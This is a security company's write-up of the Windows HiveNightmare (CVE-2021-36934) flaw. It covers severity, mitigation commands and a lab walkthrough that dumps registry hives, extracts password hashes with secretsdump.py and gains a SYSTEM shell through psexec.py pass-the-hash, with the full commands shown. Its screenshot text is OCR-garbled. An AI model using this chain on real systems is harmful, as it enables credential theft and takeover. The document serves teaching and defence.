

# CVE 2021-36934 HiveNightmare aka SeriousSAM

Rima Yadav | Sheikhar Gautam Pankaj Jorwal

www.safe.security

-



٠

٠

## **Table of Contents**

- INTRODUCTION
- VULNERABILITY SEVERITY

٠

- MITIGATION
- **EXPLOIT IMPLEMENTATION**
- **EXPLOITATION**
- **REFERENCES**

### www.safe.security

٠



### Introduction



This document illustrates the exploitation of the vulnerability found in Windows 10 version 1809 and newer operating systems. The vulnerability was allotted CVE on 22/07/2021 and was patched by Microsoft in August 2021 security updates for all affected versions.

Keywords: SAM, Elevation of Privilege Vulnerability, HiveNightmare.

#### SAM:

The Security Account Manager is a database file in the Windows operating system from Windows XP to the latest Windows installment. SAM file stores user's passwords which can be used to authenticate remote and local users. SAM uses cryptography methods to prevent unauthenticated users from accessing the system

### **Elevation of Privilege Vulnerability:**

It can be defined as an attack that involves gaining access to the privilege beyond what is intended for the user.

### HiveNightmare:

HiveNightmare aka SeriouSAM (CVE-2021-36934) is a local elevation of privilege vulnerability that exists due to excessively permissive Access Control Lists (ACLs) on various system files, including the Safety Accounts Manager (SAM) database. If an attacker successfully exploits this vulnerability in a system, it allows them to access registry files stored in folders such as SAM, SECURITY, SYSTEM, DEFAULT, and SOFTWARE. **Safe Security 2021** 



### **Vulnerability Severity**

#### CVSS v3:

Base Score: 7.8 Vector: CVSS:3.1/AV: L/AC: L/PR: L/UI: N/S: U/C: H/I: H/A: H Impact Score: 5.9 Exploitability Score: 1.8 Severity: HIGH

#### Scope of Impact:

This vulnerability affects the Windows operating system Windows 10 version 1809 and newer operating systems. Affected versions:

- Windows 10 Version 1809
- Windows 10 Version 20H2
- Windows 10 Version 20H1
- Windows 10 Version 1909
- Windows 10 Version 1809
- Windows Server Version 2004
- Windows Server Version 2019

#### **Risk:**

#### Government:

Large and medium government entities: HIGH Small government entities: MEDIUM

#### Businesses:

Large and medium business entities: HIGH Small business entities: MEDIUM

#### Home Users: LOW



### **Mitigation**

#### Method I:

Install Window Security Update (KB5005033)

Note: To fully mitigate this vulnerability you must delete all shadow copies of your system volume after installing this security update.

#### Method II:

Restrict the access to the content of "%windir%\system32\config" Use Command:

> **Command Prompt (Run as administrator):** icacls %windir%\system32\config\\*.\* /inheritance:e

Windows PowerShell (Run as administrator): icacls \$env:windir\system32\config\\*.\* /inheritance:e

Delete Volume Shadow Copy Service (VSS) shadow copies Identify if Shadow volumes exist with either:

> **Command Prompt or PowerShell (Run as administrator):** vssadmin list shadows

Delete any Shadow volumes and System Restore points that existed before restricting access to the contents of **%windir%\system32\config** 



### **Exploit implementation**

#### **Attack Scenario:**

We will be looking at a scenario with a target machine running a vulnerable Windows version which is done using VMWARE.

In this scenario, we will use HiveNightmare exploit to dump the registry files. Then we will try to Escalate the privileges by using "Secretsdump.py" and "psexec.py".

For this practical we will need:

- A target machine with a vulnerable Windows version installed (A system with at least one shadow copy).
- A Kali Linux machine to access the Target system and exploit the vulnerability.

### **Exploitation**

First, download HiveNightmare.exe from GitHub on the targeted machine.
 "https://github.com/GossiTheDog/HiveNightmare"

Recycle Bin			
Microsoft Edge	Image     Manage       File     Home     Share     View     Application Tools       Image     Image     Image     Image       Image     Image     <	Hiveblightmare     -     X       P     P     Search Hiveblightmare       Date modified     Type     Size       8/16/2021 I:34 PM     Application     222 KB	Command Prompt  C V Vicrosoft Windows [Version 10.0.19043.928] (c) Wicrosoft Corporation. All rights reserved. C:\Users\Pankaj>lpconfig Windows IP Configuration Ethernet adapter Ethernet0: Connection-specific DNS Suffix .: IPV6 Address: 2405:201:4024:a0:5df1:55b6:a673:b36f Temporary IPv6 Address: 2405:201:4024:a0:bc71:affa:36c7:95ce Link-local IPv6 Address: 1680:1561:55b6:a73:b36f%4 IPv4 Address: 192:168.29.6 Subnet Wask: 255.255.0
	Network Network I item 1 item selected 222 KB	<b>E</b>	Default Gateway : fe88::1a82:8cff:fef7:881b%4 192.168.29.1 C:\Users\Pankaj>



- 2. Execute the HiveNightmare.exe exploit in CMD/PowerShell to dump the following files
  - a. SAM FILE
  - b. SECURITY FILE
  - c. SYSTEM FILE

Command: HiveNightmare.exe



3. Using Python script "secretsdump.py" to retrieve hashes stored in the files that were dumped using HiveNightmare.exe.

"https://github.com/SecureAuthCorp/impacket/blob/master/examples/secretsdump.py" Command:

> python3 secretsdump.py -system SYSTEM-2021-07-24 -security SECURITY-2021-07-24 -sam SAM-2021-07-24 local





After executing we get the local SAM hashes of all the users in the system.

4. Now we use the "psexec.py" script to get the remote shell of the target.
 "https://github.com/SecureAuthCorp/impacket/blob/master/examples/psexec.py"
 We can execute the psexec.py by using the following command:

python3 psexec.py -hashes aad3b435b51404eeaad3b435b51404ee:1eee20c4f112dfb101c08fd15f066ef5 jorwal@192.168.29.6 powershell.exe





5. When executed successfully, we connect to the target system with the privilege of NT Authority/System. Command:

systeminfo | more



### **Result:**

Bit Wern Wit Det Hoel Control							
Weeds and *       *       **       **         **       **       **       **       **       **       **       **       **       **       **       **       **       **       **       **       **       **       **       **       **       **       **       **       **       **       **       **       **       **       **       **       **       **       **       **       **       **       **       **       **       **       **       **       **       **       **       **       **       **       **       **       **       **       **       **       **       **       **       **       **       **       **       **       **       **       **       **       **       **       **       **       **       **       **       **       **       **       **       **       **       **       **       **       **       **       **       **       **       **       **       **       **       **       **       **       **       **       **       **       **       **       **       **       **       **       **	Kali - VMware Workstation	- a ×					
Single	Ele Édit Yeev VM Jubs Help      +   🚭   O 🔔 💁   🔲 🖃 🔁   🖸 🔁 🖓						
bitWebit://bitkit://bitkit://bitkit://bitkit:/bitkit:/bitkit:/bitkit:/bitkit:/bitkit:/bitkit:/bitkit:/bitkit:/bitkit:/bitkit:/bitkit:/bitkit:/bitkit:/bitkit:/bitkit:/bitkit:/bitkit:/bitkit:/bitkit:/bitkit:/bitkit:/bitkit:/bitkit:/bitkit:/bitkit:/bitkit:/bitkit:/bitkit:/bitkit:/bitkit:/bitkit:/bitkit:/bitkit:/bitkit:/bitkit:/bitkit:/bitkit:/bitkit:/bitkit:/bitkit:/bitkit:/bitkit:/bitkit:/bitkit:/bitkit:/bitkit:/bitkit:/bitkit:/bitkit:/bitkit:/bitkit:/bitkit:/bitkit:/bitkit:/bitkit:/bitkit:/bitkit:/bitkit:/bitkit:/bitkit:/bitkit:/bitkit:/bitkit:/bitkit:/bitkit:/bitkit:/bitkit:/bitkit:/bitkit:/bitkit:/bitkit:/bitkit:/bitkit:/bitkit:/bitkit:/bitkit:/bitkit:/bitkit:/bitkit:/bitkit:/bitkit:/bitkit:/bitkit:/bitkit:/bitkit:/bitkit:/bitkit:/bitkit:/bitkit:/bitkit:/bitkit:/bitkit:/bitkit:/bitkit:/bitkit:/bitkit:/bitkit:/bitkit:/bitkit:/bitkit:/bitkit:/bitkit:/bitkit:/bitkit:/bitkit:/bitkit:/bitkit:/bitkit:/bitkit:/bitkit:/bitkit:/bitkit:/bitkit:/bitkit:/bitkit:/bitkit:/bitkit:/bitkit:/bitkit:/bitkit:/bitkit:/bitkit:/bitkit:/bitkit:/bitkit:/bitkit:/bitkit:/bitkit:/bitkit:/bitkit:/bitkit:/bitkit:/bitkit:/bitkit:/bitkit:/bitkit:/bitkit:/bitkit:/bitkit:/bitkit:/bitkit:/bitkit:/bitkit:/bitkit:/bitkit:/bitkit:/bitkit:/bitkit:/bitkit:/bitkit:/bitkit:/bitkit:/bitkit:/bitkit:/bitkit:/bitkit:/bitkit:/bitkit:/bitkit:/bitkit:/bitkit:/bitkit:/bitkit:/bitkit:/bitkit:/bitkit:/bitkit:/bitkit:/bitkit:/bitkit:/bitkit:/bitkit:/bitkit:/bitkit:/bitkit:/bitkit:/bitkit:/bitkit:/bitkit:/bitkit:/bitkit:/bitkit:/bitkit:/bitkit:/bitkit:/bitkit:/bitkit:/bitkit:/bitkit:/bitkit:/bitkit:/bitkit:/bitkit:/bitkit:/bitkit:/bitkit:/bitkit:/bitkit:/bitkit:/bitkit:/bitkit:/bitkit:/bitkit:/bitkit:/bitkit:/bitkit:/bitkit:/bitkit:/bitkit:/bitkit:/bitkit:/bitkit:/bitkit:/bitkit:/bitkit:/bitkit:/bitkit:/bitkit:/bitkit:/bitkit:/bitkit:/bitkit:/bitkit:/bitkit:/bitkit:/bitkit:/bitkit:/bitkit:/bitkit:/bitkit:/bitkit:/bitkit:/bitkit:/bitkit:/bitkit:/bitkit:/bitkit:/bitkit:/bitkit:/bitkitkit:/bitkit:/bitkit:/bitkit:/bitkit:/bitkit:/bitkit	🕼 Home X 🕼 Windows 10 x64 X 🕞 Kat X 🖓 Wy Computer X						
File Actions Edit View Help         Implementation Edit Help         Implement	📉 📔 💳 🍃 🥵 🖸 🗸 📔 🔤 kali@kali: -/Desktop/PS	05:39 PM 🗖 🐠 🌲 📀 🗎 🔂					
<pre>(bill bill)-[-/Bestos/PSIKC] pryctom3 Basecc.py: Hashes add3b33551404eeaadb53551404ee11ee20c4f112df5181c88fd15f866ef5 jorwala192.168.29.6 powershell.exe fmacket v4.9-24.6w1v23016481.5460.388fc.66 - Copyright 2021 SecureAuth Corporation [s] Apequescing abares on 192.168.29.6 [s] Ford aff this share Audits.5460.38fc.fc Copyright 2021 SecureAuth Corporation [s] Cereating service ffew on 192.168.29.6 [s] Security service ffew on 192.168.29.6 [s] Cereating service ffew on 192.168.29.6 [s] Cereating service ffew on 192.168.29.6 [s] Cereating service ffew on 192.168.29.6 [s] Security security service ffew on 192.168.29.6 [s] Security service ffew on 192.168.29.6 [s] Security security</pre>	E kali@kali:~/Desktop/PSEXEC	_ = ×					
<pre>is protect prove holes addba3b3b3ideeesidee2de4112dfb101c06fd15f606ef5 jorwala192.168.29.6 powershell.exe Impatcet v0.52.de40+2021084.5460.3867.05.0 - Copyright 2021 SecureAuth Corporation is pequesting shares on 102.168.29.6 is foreing strike fgWc on 192.168.29.6 is foreing strike fgWc on 192.16 is foreing strike fgWc on 192.168.29.6 is foreing</pre>	File Actions Edit View Help						
<pre>[*] Found writable share ADMIN\$ [*] Uploading file GTyp3FM.exe [*] Opening SVCManager on 192.168.29.6 [*] Starting service fgW [*] Trys help for extra sholl commands Windows PowerShell Copyright (C) Microsoft Corporation. All rights reserved. Try the new cross-platform PowerShell https://aka.ms/pscore6 P\$ C:Vinindows/system32&gt; net user et user User acounts for \\ Administrator DefaultAccount Guest panka) ray ModOrticityAccount Fanka) ray ModOrticityAccount Fanka) ray ModOrticityAccount For command completed with one or more errors. P\$ C:Vinindows/system32&gt; systeminfo   more systeminfo   more Host Name: DESKTOP-VDVCUUL GS Name: Microsoft Windows 18 Education GS Name: Microsoft Windows 18 Education GS Configuretion: Mod Bistor Microsof Free Multiprocessor Free Multiprocestor Multiprocessor Free Multipro</pre>	🖵 python3 psexec.py -hashes aad3b435b51404eeaad3b435b51404ee:1eee20c4f112dfb101c08fd15f066ef5 jorwal@192.168.29.6 powershell.exe						
P5 C:VWindows/system32> net user et user User accounts for \\ Administrator DefaultAccount Faj Dorwal Pankaj Faj DWGdUtlityAccount The command completed with one or more errors. P5 C:VWindows/system32> whoani hoami nt autority/system P5 C:VWindows/system32> systeminfo   more systeminfo   more Microsoft Corporation OS Monifacturer: Microsoft Corporation OS Build Type: Multiprocessor Free	<pre>[*] Found writable share ADMIN\$ [*] Uploading file GftyoFxM.exe [*] Oploading file GftyoFxM.exe [*] Opening SVCManager on 192.168.29.6 [*] Creating service fgRw on 192.168.29.6 [*] Starting service fgRw [*] Press help for extra shell commands Windows PowerShell [*] OpenerShell [*] Ope</pre>						
et user User accounts for \\ Administrator DefaultAccount Guest jorwal Pankaj raj WDAGUTIItyAccount The command completed with one or more errors. PS C:VWindows\system32> whoani hoami nt authority\system PS C:VWindows\system32> systeminfo   more Systeminfo   more PS C:VWindows\system32> systeminfo   more Systeminfo   more DESKTOP-VDVCUOL OS Name: Microsoft Corporation OS Version: 10.0.1904S JA Build 19043 OS Annufacturer: Microsoft Corporation OS Build Type: Wultiprocessor Free	Try the new cross-platform PowerShell https://aka.ms/pscore6						
User accounts for \\ ddministrator pankaj pankaj pankaj pankaj pankaj pankaj paj WDAGUILIItyAccount Pankaj paj WDAGUILIItyAccount The command completed with one or more errors. P5 C:\Windows\system32> whoami hoami nt authority\system P5 C:\Windows\system32> systeminfo   more Microsoft Corporation Systeminfo   more Systeminfo   more Systeminfo   more Microsoft Corporation Systeminfo   more Standlane Workstation Systeminfo Workstation Systeminfo   more Standlane Works							
Administrator     DefaultAccount     Guest       jorwal     Pankaj     raj       WDAGUtlityAccount     The command completed with one or more errors.       P5 c:Vwindows/system32> whoami       hoami       nt authority/system       P5 c:Vwindows/system32> systeminfo   more       Systeminfo   more       DESKTOP-VDVCUOL       OS Name:     Microsoft Windows 10 Education       OS Version:     10.0.1904/SVA MA Build 19043       OS Amurifacturer:     Microsoft Corporation       OS Configuration:     Standalene Workstation       OS Build Type:     Multiprocessor Free							
jorwal Pankaj raj WDAGUTSIITVACcount The command completed with one or more errors. PS C:Vimindows\system32> whoami hoami nt authority\system PS C:Vimindows\system32> systeminfo   more systeminfo   more PS C:Vimindows\system32> systeminfo   more systeminfo   more Hist Name: DESKTOP=VDVCUOL GS Name: Nicrosoft Vimindows 10 Education GS Name: Nicrosoft Corporation GS Configuration: Standalone WorkStation GS Configuration: Standalone WorkStation GS Build Type: Multiprocessor Free	user accounts for \\						
hoami nt authority\system PS C:VWindows\system32> systeminfo   more systeminfo   more Systeminfo   more Systeminfo   more DS Norsion: DESKTOP-VDVCUOL OS Name: Microsoft Giudication OS Version: 100.019043 N/A Build 19043 OS Manufacturer: Microsoft Corporation OS Configuration: Standalone Workstation OS Build Type: Multiprocessor Free	jorval Pankaj raj WDAGUFILITYACCOUNT						
OS Name:     Microsoft Windows 10 Education       OS Version:     10.0.30943.NA Build 19043       OS Munifacturer:     Microsoft Corporation       OS Configuration:     Standlane Workstation       OS Build Type:     Multiprocessor Free	hoami nt authority\system PS C:\Windows\system32> systeminfo   more						
To direct input to this VM, move the mouse pointer inside or press Ctrl+G.	OS Name:         Microsoft Windows 10 Education           OS Version:         10.0.019043 N/A Build 19043           OS Manufacturer:         Microsoft Corporation           OS Configuration:         Standalone Workstation						
	To direct input to this VM, move the mouse pointer inside or press Ctri+G.						

Acquired NT Authority\SYSTEM access of our target machine, which is the most powerful account on a Windows local instance.



### References

- 1. <u>https://news.sophos.com/en-us/2021/07/22/hivenightmare-aka-serioussam-vulnerability-what-to-do/</u>
- 2. <u>https://www.socinvestigation.com/exploiting-the-hive-nightmare-cve-2021-36934-detection-prevention/</u>
- 3. https://msandbu.org/serious-sam-cve-2021-36934/
- 4. https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-36934
- 5. <u>https://www.cisecurity.org/advisory/critical-patches-issued-for-microsoft-products-august-10-2021/</u>





.

•



www.safe.security | info@safe.security

Palo Alto 3000, El Camino Real, Building 4, Suite 200, CA 94306 .

۲

•

۲